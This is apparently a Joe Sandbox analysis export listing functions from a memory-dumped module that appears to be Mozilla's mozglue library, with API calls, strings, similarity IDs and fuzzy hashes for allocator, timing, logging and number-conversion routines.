Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

kernel32.dll, xrefs: 6C9534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C953508

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

(null), xrefs: 6C9B706A, 6C9B7083
### ERROR: %s: %s, xrefs: 6C9B7087

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

expected a Time entry, xrefs: 6C9A2E36
ProfileBuffer parse error: %s, xrefs: 6C9A2E3B
(root), xrefs: 6C9A354F

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C97D4BB
0123456789abcdef, xrefs: 6C97C317

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

-Infinity, xrefs: 6C9B9E60, 6C9B9E7B
NaN, xrefs: 6C9B9EAB

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C95DAF6
8, xrefs: 6C95DC08
, xrefs: 6C95DA88
0, xrefs: 6C95DC7F
-, xrefs: 6C95D7DD
0, xrefs: 6C95D852
9, xrefs: 6C95DE7F
1, xrefs: 6C95DBDD

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C96A5D6
1, xrefs: 6C96A824
0, xrefs: 6C96A100
@, xrefs: 6C96A625
0, xrefs: 6C96AB22
' , xrefs: 6C96A3D8

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
